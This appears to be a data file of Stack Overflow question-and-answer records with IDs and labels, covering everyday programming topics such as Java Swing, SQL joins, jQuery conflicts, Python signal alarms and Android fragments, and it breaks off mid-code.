29398451	0	 <p>The general strategy here is that you want to <em>maintain a context</em> as you traverse the list, and at each step, you use that piece of context to answer the question of whether the current item should be kept or thrown out. In pseudo-code:</p> <pre><code>public static &lt;A&gt; List&lt;A&gt; removeDuplicates(List&lt;? extends A&gt; original) { List&lt;A&gt; result = new ArrayList&lt;A&gt;(); /* initialize context */ for (A item : original) { if ( /* context says item is not a duplicate */ ) { result.add(item); } /* update context to incorporate the current `item` */ } return result; } </code></pre> <p>Some people have brought up the question of whether you mean consecutive duplicates or non-consecutive ones. In reality, the difference in the solutions is small:</p> <ol> <li>For consecutive duplicates the context is the most recently seen item.</li> <li>For non-consecutive it's the <code>Set&lt;A&gt;</code> of all items seen up to that point.</li> </ol> <p>I'll let you fill in the pattern for those cases.</p>
25326069	0	 <p>I had the same issue and found a solution thanks to <a href="http://stackoverflow.com/users/496099/chris">chris</a> (see <a href="http://stackoverflow.com/questions/17041735/jpa-criteria-api-where-subclass">JPA Criteria API where subclass</a>).</p> <p>For this you need JPA 2.1, and you make use of one of the <a href="http://docs.oracle.com/javaee/7/api/javax/persistence/criteria/CriteriaBuilder.html#treat(javax.persistence.criteria.Path,%20java.lang.Class)" rel="nofollow"><code>CriteriaBuilder.treat()</code></a> methods. Just replace your <code>builder.equal...</code> line by:</p> <pre><code>builder.equal(builder.treat(root.get("article"), Book.class).get("title"), "Foo"); </code></pre>
33318594	0	 <p>Most likely your routing is not doing what you think so you are hitting a different route entirely than you think you are. Probably you are hitting the default 404 not found handler route. Instead of posting the 1 line you think is wrong, post a <a href="http://stackoverflow.com/help/mcve">Minimal, Complete, and Verifiable example</a> and we can help you find the problem.</p>
25366339	0	 <p>As the commenter pointed out, I would recommend you use PDO as this is an escaping issue and opens you up to SQL injection vulnerabilities. On the change that you are using mysql_* instead, try escaping the variable with mysql_real_escape_string() first.</p>
5071837	0	 <p>There is a trick you could use. If your version of jQuery is second which loads, you will need first move to safety theirs version before you load it, something like this</p> <pre><code>&lt;script type="text/javascript"&gt; (function($){ var theirs_jquery = $; })(jQuery); &lt;/script&gt; </code></pre> <p>Then add your jQuery version script include tag</p> <pre><code>&lt;script src="link/to/my/jquery.js"&gt;&lt;/script&gt; &lt;!-- add your plugins --&gt; &lt;script src="link/to/my/jquery/plugins/plugin1.js"&gt;&lt;/script&gt; &lt;script src="link/to/my/jquery/plugins/plugin2.js"&gt;&lt;/script&gt; </code></pre> <p>then add another script block with folowing</p> <pre><code>&lt;script type="text/javascript"&gt; (function(){ var $$ = jQuery; // this is your shortcut var $ = theirs_jquery; // put back their version })(jQuery); &lt;/script&gt; </code></pre> <p>after this you can access your jquery version with $$ shortcut</p>
41014111	0	 <p>First: bare variables are not supported since Ansible 2.2<br> Second: <code>files</code> is a list in your example</p> <pre><code>- debug: msg="{{ item.files[0].path }}" with_items: "{{ foundFiles.results }}" </code></pre> <p>If you have multiple entries under in <code>files</code> list, you should consider to <code>map</code> it.</p>
1915342	1	Python: List of lists of integers to absolute value to single number <p>If i had a list of list of integers say:</p> <blockquote> <p>[['12' '-4' '66' '0'], ['23' '4' '-5' '0'], ['23' '77' '89' '-1' '0']]</p> </blockquote> <p>I wanted to convert the numbers to their absolute values and then to a single number, so the output would be:</p> <blockquote> <p>1246602345023778910</p> </blockquote>
3873925	0	 <p>You can use the <a href="http://www.oracle.com/technetwork/java/javame/downloads/sdk30-mac-jsp-137878.html" rel="nofollow">Java ME SDK</a> which is based on Netbeans. And as this SDK is based on Netbeans I'm pretty sure that you can find a way to have directly those features in Netbeans.</p>
16141778	0	c# Many Unmanaged Memory in WinForm Application <p>I've a c# winform application. Now after startup when the mainscreen is shown, I've a huge amount of unmanaged memory about 110MB, the whole managed ram is about 20 MB.</p> <p>Here some things that could be uncommon:</p> <ul> <li>The application consists of many assemblies which are in total 98 MB file size.</li> <li>Some Forms have a wpfhost, but which are loaded this time (but perhaps some other WPF framework libraries)</li> <li>The Ram does not seem to be growing.</li> <li>There are a lot strings shown many of them are part of the WPF like "margin"</li> <li>The Main form is quite big and has a infragistics datagrif with about 30 Rows.</li> </ul> <p>When I load all assemblies with <strong>Assembly.Load</strong> in a console app they only cost 1 MB of unmanaged ram.</p> <p>Where can this unmanaged memory come from ? Can someone give me a hint on what kind of elements could be involved?</p>
22524887	0	error: cannot find symbol symbol: class JTextFieldLimit class: Login <p>I have 2 files named <code>Login.java</code> and <code>JTextFieldLimit.java</code> (both files kept in <code>c:\java programs\planning sheet\with re_allotted</code>) </p> <p>Login.java </p> <pre><code>import javax.swing.*; import java.awt.*; import java.awt.event.*; class Login extends JFrame implements ActionListener,KeyListener { JButton SUBMIT; JPanel panel, panel1; JLabel label1, label2; static JTextField text1, text2; Login() { label1 = new JLabel(); label1.setText("Username:"); String username = System.getProperty("user.name"); System.out.println(username); text1 = new JTextField(15); text1.setDocument(new JTextFieldLimit(7)); text1.addKeyListener(new KeyAdapter() { public void keyTyped(KeyEvent e) { char c = e.getKeyChar(); if(!(Character.isLetterOrDigit(c) || (c == KeyEvent.VK_BACK_SPACE) || (c == KeyEvent.VK_DELETE) || (c == KeyEvent.VK_PASTE))) { JOptionPane.showMessageDialog(null, "Only numbers and alphabets allowed"); e.consume(); } } }); text1.setText(username); text1.setEditable(false); label2 = new JLabel(); label2.setText("Password:"); text2 = new JPasswordField(15); text2.setDocument(new JTextFieldLimit(6)); text2.setEditable(false); text2.addKeyListener(this); username = username.toLowerCase(); if((("hrv1pen").equals(username)) || (("rar1pen").equals(username)) || (("sut5pen").equals(username))) text2.setText("admin"); else text2.setText(""); text2.requestFocusInWindow(); SUBMIT = new JButton("SUBMIT"); JPanel panel1 = new JPanel(new BorderLayout()); JLabel label = new JLabel(); label.setIcon(new ImageIcon("banner.jpg")); panel1.add(label,BorderLayout.EAST); JLabel label3 = new JLabel(" Login Screen"); panel1.add(label3,BorderLayout.CENTER); panel = new JPanel(new GridLayout(3,1)); panel.add(label1); panel.add(text1); panel.add(label2); panel.add(text2); panel.add(SUBMIT); add(panel1, BorderLayout.NORTH); add(panel, BorderLayout.CENTER); SUBMIT.addActionListener(this); setTitle("LOGIN FORM"); } public void keyTyped(KeyEvent e) { } public void keyReleased(KeyEvent e) { } public void keyPressed(KeyEvent e) { int key = e.getKeyCode(); if(key == KeyEvent.VK_ENTER) { String username = text1.getText().trim(); username = username.toLowerCase(); String value1 = text2.getText().trim(); } } public void actionPerformed(ActionEvent ae) { String username = text1.getText().trim(); username = username.toLowerCase(); String value1 = text2.getText().trim(); if((("").equals(username)) &amp;&amp; (("").equals(value1))) { System.out.println("username and password cannot be blank"); JOptionPane.showMessageDialog(null, "Username and Password fields cannot be empty", "Error", JOptionPane.ERROR_MESSAGE); text2.setText(""); text1.setText(""); text1.requestFocusInWindow(); } } public static void main(String arg[]) { Login frame = new Login(); frame.pack(); frame.setVisible(true); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setResizable(false); } } </code></pre> <p>JTextFieldLimit.java </p> <pre><code>import javax.swing.text.PlainDocument; import javax.swing.text.*; public class JTextFieldLimit extends PlainDocument { private int limit; JTextFieldLimit(int limit) { super(); this.limit = limit; } public void insertString(int offset, String str, AttributeSet attr) throws BadLocationException { if(str == null) return; if((getLength() + str.length()) &lt;= limit) { super.insertString(offset,str,attr); } } } </code></pre> <p>All these days the file <code>Login.java</code> was compiling and running. </p> <p>But, today, when I tried to compile the file in command prompt by changing the directory to <code>c:\java programs\planning sheet\with re_allotted</code> and<br> then compiling using <code>javac Login.java</code>, I get the following compilation error: </p> <pre><code>Login.java:27: error: cannot find symbol text1.setDocument(new JTextFieldLimit(7)); symbol: class JTextFieldLimit location: class Login Login.java:53: error: cannot find symbol text2.setDocument(new JTextFieldLimit(6)); symbol: class JTextFieldLimit location: class Login </code></pre> <p>Don't know what am I doing wrong. </p> <p>Kindly guide me. </p> <p>Thanks in advance</p>
26027594	0	 <p>You do the math before you read the input. You need to do it the other way around.</p> <p>Also, there's no reason to pass a meaningless and uninitialized value to the <code>celsius</code> function.</p> <p>Lastly, <code>180/100</code> is 1 remainder 80 because when you divide two integers, you get integer division. You can use <code>180.0/100.0</code>.</p> <p>Basically, you need to learn C.</p>
22048391	0	Operations using ffdfwith in R <p>I am using ff and R because I have a huge dataset (around 16 GB) to work with. As a test case, I got the file to read around 1M records and wrote it out as a ff database.</p> <pre><code>system.time(te3 &lt;- read.csv.ffdf(file="testdata.csv", sep = ",", header=TRUE, first.rows=10000, next.rows=50000, colClasses=c("numeric","numeric","numeric","numeric"))) </code></pre> <p>I have uploaded the resulting file (te3) here: <a href="http://bit.ly/1c8pXqt" rel="nofollow">http://bit.ly/1c8pXqt</a></p> <p>I tried to do a simple calculation to create a new variable</p> <pre><code>ffdfwith(te3, {odfips &lt;- ofips*100000 + dfips}) </code></pre> <p>I get the following error (there are no missing records) which has flummoxed me:</p> <pre><code>Error in if (by &lt; 1) stop("'by' must be &gt; 0") : missing value where TRUE/FALSE needed In addition: Warning message: In chunk.default(from = 1L, to = 1000000L, by = 2293760000, maxindex = 1000000L) : NAs introduced by coercion </code></pre> <p>Any insights will be appreciated. Also, related to FF, is it possible to use standard R packages such as MCMC (I need to use the inverse gamma function) with FF databases?</p> <p>TIA,</p> <p>Krishnan</p>
22938835	0	Inner join doesn't show all data in sql server 2008 <p>I made a query in sql server 2008 as bellow for my online book shop :</p> <pre><code>SELECT Packages.packageName , Packages.healthStatus , Packages.Stock , Packages.Description , Packages.Image , Packages.YearOfPub , Packages.Edition , updatePackage.price , publisher.publisherName , writer.writerName , translator.translatorName , Categories.CategoriesName , Packages.packageID FROM Packages INNER JOIN updatePackage ON Packages.packageID = updatePackage.packageID INNER JOIN writer ON Packages.writerId = writer.writerId INNER JOIN publisher ON Packages.publisherId = publisher.publisherId INNER JOIN book_translator ON Packages.packageID = book_translator.packageID INNER JOIN translator ON book_translator.translatorId = translator.translatorId INNER JOIN Categories ON Packages.CategoriesId = Categories.CategoriesId </code></pre> <p>but when I execute query SQL server return only books(packages) that has one or many translator because some books hasn't translator/s and in other word, package and translator has many to many relation so I break it by two one to many relation.</p> <p><strong>EDIT :</strong></p> <p>Thanks to Calvin Smith I resolve my problem and change my query to this :<br></p> <pre><code>SELECT Packages.packageName , Packages.healthStatus , Packages.Stock , Packages.Description , Packages.Image , Packages.YearOfPub , Packages.Edition , updatePackage.price , publisher.publisherName , writer.writerName , translator.translatorName , Categories.CategoriesName , Packages.packageID FROM Packages LEFT JOIN updatePackage ON Packages.packageID = updatePackage.packageID LEFT JOIN writer ON Packages.writerId = writer.writerId LEFT JOIN publisher ON Packages.publisherId = publisher.publisherId LEFT JOIN book_translator ON Packages.packageID = book_translator.packageID LEFT JOIN translator ON book_translator.translatorId = translator.translatorId LEFT JOIN Categories ON Packages.CategoriesId = Categories.CategoriesId </code></pre>
8650087	0	 <p>Unicode character <code>U+25BC</code> is a solid triangle pointing down: ▼. You can also finagle html block elements to look like triangles by giving them a width and height of zero and applying special border properties to three of the element's sides. This technique is known as the <a href="http://davidwalsh.name/css-triangles" rel="nofollow">CSS triangle hack</a>.</p>
35360909	0	 <p>You can use <code>case</code> and <code>sum</code> like;</p> <pre><code>SELECT t1.Date, sum(case when t2.country = 'Saudi Arabia' then 1 else 0 end) `Saudi Arabia`, sum(case when t2.country = 'Kuwait' then 1 else 0 end) `Kuwait`, sum(case when t2.country in ('Saudi Arabia', 'Kuwait') then 0 else 1 end) others FROM Online_customer_activity_v2 t1 JOIN `players` t2 ON t1.`Customers` = t2.`username` GROUP BY t1.Date </code></pre> <p>You can use <code>if</code> like,</p> <pre><code>SELECT t1.Date, sum(if(t2.country = 'Saudi Arabia', 1, 0)) `Saudi Arabia`, sum(if(t2.country = 'Kuwait', 1, 0)) `Kuwait`, sum(if(t2.country in ('Saudi Arabia', 'Kuwait'), 0, 1)) others FROM Online_customer_activity_v2 t1 JOIN `players` t2 ON t1.`Customers` = t2.`username` GROUP BY t1.Date </code></pre>
33973137	0	 <p>Glyphicons use a font to display icons, each icon being a character in the font.</p> <p>Therefore it is simple to use them in JButtons.</p> <ol> <li>Create a swing Font for the glyphicon font.</li> <li>Set the font on your JButton.</li> <li>Set the button label to the character of a glyphicon icon. The characters codes can be found for example in bootstrap.css.</li> </ol> <p>Here is a detailed explanation using <a href="http://stackoverflow.com/questions/24177348/font-awesome-with-swing">fontawesome</a> instead of glyphicons but the technique is the same.</p>
12317377	0	 <p>Instead of using <code>MODIFY</code>, use a field symbol:</p> <pre><code>DATA: lt_materials TYPE TABLE OF zzllog. FIELD-SYMBOLS: &lt;ls_line&gt; TYPE zzllog. * other code with strange comments :-) LOOP AT lt_materials ASSIGNING &lt;ls_line&gt; WHERE matnr IS INITIAL. SELECT SINGLE MATNR FROM zlldet INTO &lt;ls_line&gt;-matnr WHERE palet = &lt;ls_line&gt;-palet. ENDLOOP. </code></pre> <p>This is just an example for the correct syntax. It's not a good idea to do this in a real program because there's a fair chance thtat you'll be hitting the database with thousands of requests, and potentially draw quite a bit of performance. It'd be better to preselect the <code>PALET</code> numbers that have no <code>MATNR</code> into a separate table and then use <code>FOR ALL ENTRIES IN</code> to read all the <code>MATNR</code>s in a single query.</p> <p>EDIT: Added type names. BTW, your way of declaring the internal table is somewhat outdated...</p>
40353985	0	 <p>Ok i got it ! try this</p> <pre><code> angular.module('myApp', []) .controller('myController', function($scope, $interval) { var count = 0; var addPerson = function() { count++ $scope.person = { name: 'person' + count, age: 20 + count }; }; var timer = $interval(addPerson, 1000); }) .directive('myDirective', function($compile) { return { restrict: "A", transclude: true, scope: "=", link: function(scope, element, attrs) { scope.handleClick = function(event) { console.log(event.target.innerText) } scope.$watch(function() { return scope.person; }, function(obj) { var elementToRender = angular.element('&lt;div ng-click="handleClick($event)"&gt;' + obj.name + '&lt;/div&gt;'); function renderDiv() { return elementToRender } element.append(renderDiv()); $compile(elementToRender)(scope); }, false); } }; }); </code></pre> <p>template</p> <pre><code>&lt;div ng-app="myApp" ng-controller="myController"&gt; &lt;div my-directive data="{{person}}"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>
2027552	0	Background of cell in a DataGridView <p>I've been playing around with datagridviews for a bit and a question has came up. -> Doesn't changing a cells background work out of the CellFormatting event. I've tried this:</p> <pre><code>private void dataGridView1_CellFormatting(object sender, dataGridViewCellFormattingEventArgs e) { if (dataGridView1.Columns[e.ColumnIndex].Name.Equals(dnsList.First&lt;String&gt;())) { DataGridViewRow row = dataGridView1.Rows[e.RowIndex]; DataGridViewCell cell = row.Cells[e.ColumnIndex]; cell.Style.BackColor = Color.FromArgb(194, 235, 211); } } </code></pre> <p>Which works perfectly, whereas this:</p> <pre><code>private void ApplyColoring() { if (dataGridView1.DataSource != null) { foreach (DataGridViewRow dataGridRow in dataGridView1.Rows) { DataGridViewCell cell = dataGridRow.Cells[dnsList.First&lt;String&gt;()]; cell.Style.BackColor = Color.FromArgb(194, 235, 211); } } } </code></pre> <p>Debugging tells me everything is sound, null-reference-or-whatever-exception-wise... Any tips?</p>
11119158	0	custom font wingding is not working in my application <p>EveryBody i am trying to use custom font such as wingding in my ios application i have followed all those steps for adding custom font like adding the custom font file in my application resource and added the key fontsprovidedbytheapplication in plist and make it as array and below i have mentioned my custom font file name but, still those(wingding) are not working .when i try with other custom fonts they are working properly.</p> <p>This is the code i have used so offer</p> <pre><code> - (void)viewDidLoad { mine = [[UILabel alloc] initWithFrame:CGRectMake(10, 30, 240, 40)]; [mine setFont:[UIFont fontWithName:@"wingding" size:20]]; [mine setText:@"Where i am doing wrong"]; [self.view addSubview:mine]; [super viewDidLoad]; // Do any additional setup after loading the view, typically from a nib. } </code></pre> <p>where i am missing ant suggestion will be a great help.</p>
24409078	0	 <p>This is pretty clean CSS to target the 3rd <code>&lt;p&gt;</code></p> <pre><code>.product-Detail p:nth-of-type(3) { display: block; } </code></pre> <p><a href="http://jsfiddle.net/U5Tfp/3/" rel="nofollow">http://jsfiddle.net/U5Tfp/3/</a></p>
14826812	0	 <p>You can hit the key <kbd>q</kbd> (for <em>quit</em>) and it should take you to the prompt.</p> <p>Please see this <a href="http://stackoverflow.com/questions/1696433/how-to-exit-a-git-status-list-in-terminal">link</a>.</p>
5098462	0	 <p>I believe this may be handled in the PageRequestManager endRequest event.</p>
32084362	0	 <p>your form should be something like this</p> <pre><code>&lt;form&gt; &lt;label for='qpInputdata'&gt;No Selection&lt;/label&gt; &lt;input id="qpInputdata" class="form-control name="xCaasType" ng-model="fData.selection" type="radio" ng-value="true" value="no"&gt; &lt;label for='qpInputdata'&gt;Select This One&lt;/label&gt; &lt;input id="qpInputdata" class="form-control name="xCaasType" ng-model="fData.selection" type="radio" ng-value="true" value="selected"&gt; &lt;/form&gt; </code></pre> <p>now the model <strong>fData.selection</strong> will hold one of these two values "no","selected" according to the selected option</p>
2076878	0	 <p>You could exclude at source?</p> <pre><code>var sum = GroupProduct.Where(a =&gt; a.Product.ProductID==1 &amp;&amp; a.Amount != null) .Sum(a =&gt; (decimal)a.Amount); </code></pre>
16142527	0	Delphi IdNNTP: download a file from Usenet according to NZB-file <p>I have a NZB file, something like this: </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;nzb xmlns="http://www.newzbin.com/DTD/2003/nzb"&gt; &lt;head&gt; &lt;meta type="title"&gt;Your File!&lt;/meta&gt; &lt;meta type="tag"&gt;Example&lt;/meta&gt; &lt;/head&gt; &lt;file poster="Joe Bloggs &amp;lt;bloggs@nowhere.example&amp;gt;" date="1071674882" subject="Here's your file! abc-mr2a.r01 (1/2)"&gt; &lt;groups&gt; &lt;group&gt;alt.binaries.newzbin&lt;/group&gt; &lt;group&gt;alt.binaries.mojo&lt;/group&gt; &lt;/groups&gt; &lt;segments&gt; &lt;segment bytes="102394" number="1"&gt;123456789abcdef@news.newzbin.com&lt;/segment&gt; &lt;segment bytes="4501" number="2"&gt;987654321fedbca@news.newzbin.com&lt;/segment&gt; &lt;/segments&gt; &lt;/file&gt; &lt;/nzb&gt; </code></pre> <p>Is there any way to download and assemble this file using Indy IdNNTP? I will be grateful for any sample code. Thanks in advance.</p>
16407377	0	 <p>If you did not prepare for this question then there is no build in way to get to that information. However, you could use third party log reader tools to recover (all) the last statements that where executed against the database. This requires the database to be in Full recovery mode. You could potentially go back as far as you have log backups with this method.</p> <p>If you want to prepare for that question being ask in the future, you have several options. The most obvious one is Change Data Capture. You also could write a trigger yourself that records data changes. You could also run a trace capturing SQL Batch Started. Finally you could use a third party network sniffer/logger to capture all statements send to the server (this however requires that connection encryption is not used).</p>
36021850	0	 <p>You can try to set the cell-format to text via</p> <pre><code>CellStyle cellStyle = wb.createCellStyle(); cellStyle.setDataFormat( createHelper.createDataFormat().getFormat("@")); cell.setCellStyle(cellStyle); </code></pre> <p>Note: CellStyles shoudl be re-used for all applicable cells, do not create new ones for every cell.</p> <p>You could also try to use the "Ignore errors" feature in the .xlsx format, however support for it is not fully done yet, see <a href="https://bz.apache.org/bugzilla/show_bug.cgi?id=46136" rel="nofollow">Issue 46136</a> and <a href="https://bz.apache.org/bugzilla/show_bug.cgi?id=58641" rel="nofollow">Issue 58641</a> for some ongoing discussion.</p> <p>See also <a href="https://msdn.microsoft.com/en-us/library/dd944168%28v=office.12%29.aspx" rel="nofollow">this MSDN page</a> for some additional information</p>
33950310	0	 <p>You have missed <code>name</code> in select and input:</p> <pre><code> &lt;select id="tdarea" name="tdarea"&gt; &lt;option value="a" selected="selected"&gt;Area A&lt;/option&gt; &lt;option value="b"&gt;Area B&lt;/option&gt; &lt;option value="c"&gt;Area C&lt;/option&gt; &lt;/select&gt; &lt;input required type="text" id="name" name="name"/&gt; </code></pre>
32682813	0	 <p>There are probably better ways to design that array, but here's a function that should give you what you asked for:</p> <pre><code>function gethours($x, $myoptions){ foreach($myoptions as $o){ if($o[0] == $x){ return $o[1]; } } } echo gethours('3 days', $myoptions); </code></pre> <p>If the column you search in is always the same you could just go for an associative array and use that column as array keys. </p>
23512970	1	How to implement multiple signals in a program? <p>I am starting to learn Python (newbie), so not much idea about the different modules etc.</p> <p>Scenario that I want to simulate:</p> <p>I have a program <code>prg1.py</code> that I want to run for some user defined time say <code>t</code> seconds. After this time (<code>t</code> seconds), the program should exit. For this I am using <code>signal.signal()</code> to create alarm. Below is the working code:</p> <pre> import signal import time import sys def receive_alarm(signum, stack): sys.exit('Exiting!') signal.signal(signal.SIGALRM, receive_alarm) signal.alarm(10) while 1: print 'Working...' time.sleep(1) </pre> <p>The program runs for 10 seconds and then exits as expected.<br> Note: The while loop below is just for testing, it would be replaced by my working code.</p> <p>Now I want to implement multiple signals to do different tasks at different intervals of time. </p> <p>e.g. In <code>EVERY</code>: <br> <code>5</code> seconds: execute a specific function <code>fun1()</code> <br> <code>10</code> seconds: execute a specific function <code>fun2()</code>, and so on... (tasks I want to perform in the program)</p> <p>I tried adding another alarm as shown below, but didn't work:</p> <pre><code>import signal import time import sys def receive_alarm(signum, stack): sys.exit('Exiting!') def receive_alarm_two(signup, stack): print 'Call to other functions!' signal.signal(signal.SIGALRM, receive_alarm) signal.alarm(10) # Second Alarm signal.signal(signal.SIGALRM, receive_alarm_two) signal.alarm(2) while 1: print 'Working...' time.sleep(1) </code></pre> <p>This doesn't work! Simple exits without any error or exit message :(</p> <p>How can this functionality be implemented?</p> <p>NOTE: <code>Use of Threads is restricted.</code><br></p> <p>NOTE: <code>As I want the program to keep listening to different signals, it can't sleep i.e. cannot use time.sleep().</code></p>
6273973	0	Problem with file location when using Fixtures.loadModels("...") <p>I'm using the Play Framework <em>yabe</em> tutorial and came across a problem when adding tags. I'm not sure what code I added that caused the change, but now the Fixtures.loadModels(data.yml) piece of code searches for a file in .../some_folder/play-1.2.1/modules/docviewer/app/data.yml instead of .../some_folder/yabe_tutorial/conf/data.yml as it should. </p> <p>Here's my code in the default package of /yabe_tutorial/app: </p> <pre><code>@OnApplicationStart public class Bootstrap extends Job { public void doJob() { if (User.count() == 0) { Fixtures.delete(); Fixtures.loadModels("data.yml"); } } } </code></pre> <p>Is there any settings I can use to change the directory that loadModels uses?</p> <p>I'm new to this all, so I'd really appreciate some help. Thanks!</p>
2593644	0	GAE update different fields of the same entity <p>UserA and UserB are changing objectA.filedA objectA.filedB respectively and at the same time. Because they are not changing the same field one might think that there are no overlaps. Is that true? or the implementation of pm.makePersistnace() actually override the whole object... good to know...</p>
9253991	0	how to pass dynamic theme from swf to swc? <p>I have one swf file which takes theme from network during runtime. Now I conerted that swf to swc, and created another container swf to point to that swc. Seems the new swf file has the theme information, which the swc does not take the theme.</p> <p>How do I enable swc to take the same theme as its parent container swf file?</p> <p>Thanks.</p>
40736909	0	 <p>I do have created a subclass of UITextField, it is easy to implement and use. Here is the GitHub link:</p> <p>Visit <a href="https://github.com/subhajitregor/SHPickerFieldExample" rel="nofollow noreferrer">https://github.com/subhajitregor/SHPickerFieldExample</a></p> <p>Please see the example to see how to use. The Readme file is also updated now.</p>
11500055	0	How can we implement drag and drop feature in html5 <p>Hello everyone please suggest me how to implement drag and drop feature inside CANVAS of html5 using kineticJS it drag and dropped object should be able to display the id of the object.</p>
10219042	0	 <p>One very simple way is to add a middle term containing a timestamp or a counter value. So for example: </p> <pre><code>&gt;&gt;&gt; heap = [] &gt;&gt;&gt; counter = itertools.count() &gt;&gt;&gt; for i in range(10): ... heapq.heappush(heap, (i, -next(counter), str(i) + ' oldest')) ... heapq.heappush(heap, (i, -next(counter), str(i) + ' newest')) ... &gt;&gt;&gt; heapq.heappop(heap) (0, -1, '0 newest') &gt;&gt;&gt; heapq.heappop(heap) (0, 0, '0 oldest') &gt;&gt;&gt; heapq.heappop(heap) (1, -3, '1 newest') &gt;&gt;&gt; heapq.heappop(heap) (1, -2, '1 oldest') </code></pre> <p>As agf mentions, this is the approach used by the <a href="http://docs.python.org/library/heapq.html#priority-queue-implementation-notes" rel="nofollow"><code>heapq</code></a> docs, only using negative indices. (The implementation there also includes a nice task-removal and priority-change routine.)</p>
17580905	0	 <p>There's a <a href="https://connect.microsoft.com/VisualStudio/feedback/details/551183/loading-toolbox-content-from-package-takes-55-seconds-or-more" rel="nofollow" title="Connect Bug Report">Connect bug report</a> for this. It's already closed, so you can't vote, but let Microsoft know you had the problem by clicking "I can too".</p>
23074129	0	 <p>Yep, hes using an absolute path for image, but the project isn't in server root folder then you need's to inform the name of the folder in path...</p> <p>Use <code>&lt;img src="/finalprojectneat/image/Picture2.png"&gt;</code> then you have your logo display on every page. But is not the most indicated because when you send to production server, you didn't have the "finalprojectneat" folder then you have to remove all paths using "projectneat".</p> <p>One solution is to define a constant in your "index.php", not necessary in "index.php" but required in root folder of project</p> <pre><code>define ('_IMAGES_', realpath(dirname(__FILE__) . '/image')); </code></pre> <p>if you put this constant in another file inside root folder, use "require" to import these constants to your views...</p> <p>and in your views, use</p> <pre><code>&lt;?php echo _IMAGES_ . '/Picture2.png'; ?&gt; </code></pre>
18380923	0	 <p>I'm quite new on that and I don't know if I am understanding your question, but why you don't use "backticks" instead of "system"? It would let you store the output in a variable and then you can do with this variable whatever you want.</p> <p>About backticks: <a href="http://stackoverflow.com/questions/799968/whats-the-difference-between-perls-backticks-system-and-exec">What&#39;s the difference between Perl&#39;s backticks, system, and exec?</a></p>
35835296	0	Automatically restore last saved document on application launch <p>I have a Core Data Document Based application written in swift and using storyboards. Whenever I build and launch the app, instead of automatically opening the last opened document(s), it will create a new document. What I want to be able to do is have the application automatically restore whatever documents were last opened on application launch, if they are available. How can I do this?</p>
23089080	0	Number of submatricies containing all zeros <p>Is there a way to find a number of rectangular submatrices containing all zeros with a complexity smaller than O(n^3), where n is the dimension of given matrix?</p>
34678213	0	 <p>It can also be caused by <a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=475368" rel="nofollow">this</a> bug, if you're having Eclipse 4.5/4.6, an Eclipse Xtext plugin version older than v2.9.0, and a particular workspace configuration.</p> <p>The workaround would be to create a new workspace and import the existing projects.</p>
18486496	0	 <p>If you ultimately decide to move the cache outside your main webserver process, then you could also take a look at <a href="http://en.wikipedia.org/wiki/Consistent_hashing" rel="nofollow">consistent hashing</a>. This would be a alternative to a replicated cache.</p> <p>The problem with replicated caches, is they scale inversely proportional to the number of nodes participating in the cache. i.e. their performance degrades as you add additional nodes. They work fine when there is a small number of nodes. If data is to be replicated between N nodes (or you need to send eviction messages to N nodes), then every write requires 1 write to the cache on the originating node, and N-1 writes to the other nodes.</p> <p>In consistent hashing, you instead define a hashing function, which takes the key of the data you want to store or retrieve as input, and it returns the id of the server in the cluster which is responsible for caching the data for that key. So each caching server is responsible for a fraction of the overall keys, the client can determine which server will contain the sought data without any lookup, and data and eviction messages do not need to be replicated between caching servers.</p> <p>The "consistent" part of consistent hashing, refers to how your hashing function handles new servers being added to or removed from the cluster: some re-distribution of keys between servers is required, but the function is designed to minimize the amount of such disruption.</p> <p>In practice, you do not actually need a dedicated caching cluster, as your caches could run in-process in your web servers; each web server being able to determine the other webserver which should store cache data for a key.</p> <p>Consistent hashing is used at large scale. It might be overkill for you at this stage. But just be aware of the scalability bottleneck inherent in O(N) messaging architectures. A replicated cache is possibly a good idea to <em>start with</em>.</p> <p>EDIT: Take a look at <a href="http://infinispan.org/docs/5.3.x/faqs/faqs.html" rel="nofollow">Infinispan</a>, a distributed cache which indeed uses consistent hashing out of box.</p>
26633743	0	Fragments won't show up in activity extending ActionBarActivity <p>I have a main activity extending ActionBarActivity. In my activity i create a fragment which isn't showing up. I modified the main activity to extend FragmentActivity and in this case the fragment is showing up. Why isn't the fragment showing up when my activity extends ActionBarActivity? I know that ActionBarActivity extends FragmentActivity so in theory ActionBarActivity should support fragments.</p> <p><strong>Edit: I resolved it. I wouldn't set any content view on my activity. Now that i set it it works when i extend ActionBarActivity. Still is weird that even if i don't set it, when i extend FragmentActivity it works.</strong></p> <p>This is my main activity code:</p> <pre><code>package com.example.yamba; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; //import android.support.v4.app.FragmentActivity; import android.support.v4.app.FragmentTransaction; public class StatusActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if(savedInstanceState == null) { StatusFragment fragment = new StatusFragment(); FragmentTransaction fr = getSupportFragmentManager().beginTransaction(); fr.add(android.R.id.content, fragment); fr.commit(); } } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.status, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } } </code></pre> <p>This is my fragment code:</p> <pre><code>package com.example.yamba; import android.graphics.Color; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.TextView; import android.widget.EditText; import android.widget.Toast; import android.os.AsyncTask; import android.text.TextWatcher; import android.text.Editable; import android.view.LayoutInflater; import android.view.ViewGroup; import android.support.v4.app.Fragment; import com.marakana.android.yamba.clientlib.YambaClient; import com.marakana.android.yamba.clientlib.YambaClientException; public class StatusFragment extends Fragment implements OnClickListener { private static final String TAG = "StatusFragment"; private EditText editStatus; private Button buttonTweet; private TextView textCount; private int defaultColor; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.activity_fragment, container, false); editStatus = (EditText) view.findViewById (R.id.editStatus); buttonTweet = (Button) view.findViewById (R.id.buttonTweet); textCount = (TextView) view.findViewById (R.id.textCount); 